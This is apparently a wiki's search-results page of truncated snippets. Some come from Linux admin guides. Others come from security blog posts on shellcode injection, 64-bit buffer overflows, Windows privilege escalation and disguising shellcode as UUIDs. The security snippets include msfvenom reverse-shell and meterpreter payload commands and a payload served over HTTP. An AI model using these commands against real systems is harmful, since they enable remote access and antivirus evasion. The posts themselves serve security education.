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Volltextergebnisse:
- Backing up the sshd @en:linux
- Firstly, we create a key pair under Linux: <code bash> $ ssh-keygen -t ed25519 Generating public/privat... file and password** enable server access. <code bash> Enter passphrase (empty for no passphrase): Ente... der ''.ssh'' - Set access authorisations <code bash> mv id_ed25519.pub .ssh/authorized_keys chmod 070... nstall wipe with //apt-get install wipe//) <code bash>$ wipe id_ed25519 Okay to WIPE 1 regular file ? (
- Obfuscation: Disguise shellcode as UUIDs @en:it-security:blog
- is usually recognised by Windows Defender. <code bash> python shencode.py create -c="-p windows/x64/she... e now encode this payload as UUID strings. <code bash> python shencode.py encode -f shell_rev.raw -u </
- Privilege escalation: Windows admin thanks to Linux @en:it-security:blog
- ==== Now we can install ''chntpw'' using: <code bash> sudo apt install chntpw </code> \\ \\ ==== Find ... We are looking for the Windows partition. <code bash> sudo sfdisk -l </code> {{it-security:blog:scree... tion and create it in our $HOME directory. <code bash> mkdir ~/win </code> We then mount the partition. <code bash> sudo mount /dev/sda3 ~/win </code> Now we navig
- Buffer overflow in the 64-bit stack - Part 2 @en:it-security:blog
- |kompilierte debug binary]] from the blog. <code bash> br *vuln+73 # setze Breakpoint r < in.txt... verflow_x64|Part 1]], we also need ropper. <code bash> sudo apt install ropper </code> \\ \\ ===== Deac... as base address as in the examples above. <code bash> gcc -fno-stack-protector -no-pie bof-part2.c -o ... s, we start ropper and display the gadgets <code bash> ropper --file bof-part2 ... 0x000000000040116a:
- Buffer overflow in the 64-bit stack - Part 3 @en:it-security:blog
- docs.pwntools.com/en/stable/install.html)) <code bash> python3 -m pip install --upgrade pip python3 -m ... ion on Github in the Dependencies section. <code bash> /dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXE... e check where the path to the ''libc'' is: <code bash> ldd bof-part3 linux-vdso.so.1 (0x00007ff... find the offset for ''write()'' function: <code bash> readelf -s /lib/x86_64-linux-gnu/libc.so.6 | gre
- Shellcode Injection Part 4 @en:it-security:blog
- mpile the code with the following command: <code bash> nasm -f win64 calc-unsanitized.asm -o calc-unsan... ellcode4-01.png|}} ===== Repository ===== <code bash> git clone https://github.com/psycore8/nosoc-shel
- Linux Commands Cheatsheet @en:linux
- sers.de/Systemzeit/)) ==== show time ==== <code bash> timedatectl </code> ==== change time ==== Set time zone manually <code bash> sudo timedatectl set-timezone Europe/Berlin </code> Select time zone <code bash> sudo dpkg-reconfigure tzdata </code> ===== Load Apache modules ===== <code bash> a2enmod modname </code> or activate it with <c
- Host Discovery with Metasploit database @en:it-security
- d set up a user with access rights for it. <code bash> root@kali:~# msfdb init Creating database user '
- Shellcode Injection Part 2 @en:it-security:blog
- encode any further. The output is binary: <code bash> msfvenom -p windows/x64/shell_reverse_tcp LHOST=... g blog post]] is explained in more detail: <code bash> python3 function_encoder.py --shellcode shell.ra... post-3.png|}} \\ \\ ===== Repository ===== <code bash> git clone https://github.com/psycore8/nosoc-shel
- Shellcode Injection Part 1 @en:it-security:blog
- | | > shell.c | Save to the file shell.c | <code bash> msfvenom -p windows/shell_reverse_tcp LHOST=172.... rst we create the shellcode in raw format: <code bash> msfvenom -p windows/shell_reverse_tcp LHOST=172.... ll working}}] \\ \\ ===== Repository ===== <code bash> git clone https://github.com/psycore8/nosoc-shel
- Buffer overflow in the 64-bit stack - part 1 @en:it-security:blog
- ithub.com/longld/peda/blob/master/README)) <code bash> git clone https://github.com/longld/peda.git ~/p... d so that memory areas are not randomised. <code bash> echo 0 | sudo tee /proc/sys/kernel/randomize_va_... return 0; } </code> \\ \\ === Compile === <code bash> gcc -fno-stack-protector -z execstack bof.c -o b... ugger and generate a 200-character string: <code bash> gdb -q vulnerable pattern_create 200 in.bin r <
- Shellcode Injection Part 3 @en:it-security:blog
- binary file. We do this with ''%%nasm%%'': <code bash> nasm -f win32 download.asm -o shellcode.o </code... t the binary ''%%C++%%'' friendly display: <code bash> objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep ... d. We generate this with ''%%msfvenom%%''. <code bash> msfvenom -p python/meterpreter/reverse_tcp LHOST... ecutes it. So we prepare this accordingly: <code bash> cp payload.py nat.zip python -m http.server 80
- Wallabag installation under Debian @en:linux
- at this link]]. ===== Installation ===== <code bash> git clone https://github.com/wallabag/wallabag.g... lHost> </code> ===== Authorisations ===== <code bash> chown -R www-data:www-data /home/user/wallabag/v... = LetsEncrypt certificate as cronjob ===== <code bash> 30 3 * * 0 /opt/certbot/certbot-auto certonly --
- Postfix Virtual Mailbox Limit @en:linux
- ter restarting Postfix, the problem should be solved: <code bash> $ /etc/init.d/postfix restart </code>
- Integration of Collabora Office in OwnCloud @en:linux
- ===== ===== Installation of Docker ===== <code bash> apt update # Notwendiges Repository hinzufügen ... Starting Docker with Collabora Image ===== <code bash> docker pull collabora/code docker run -t -d -p 1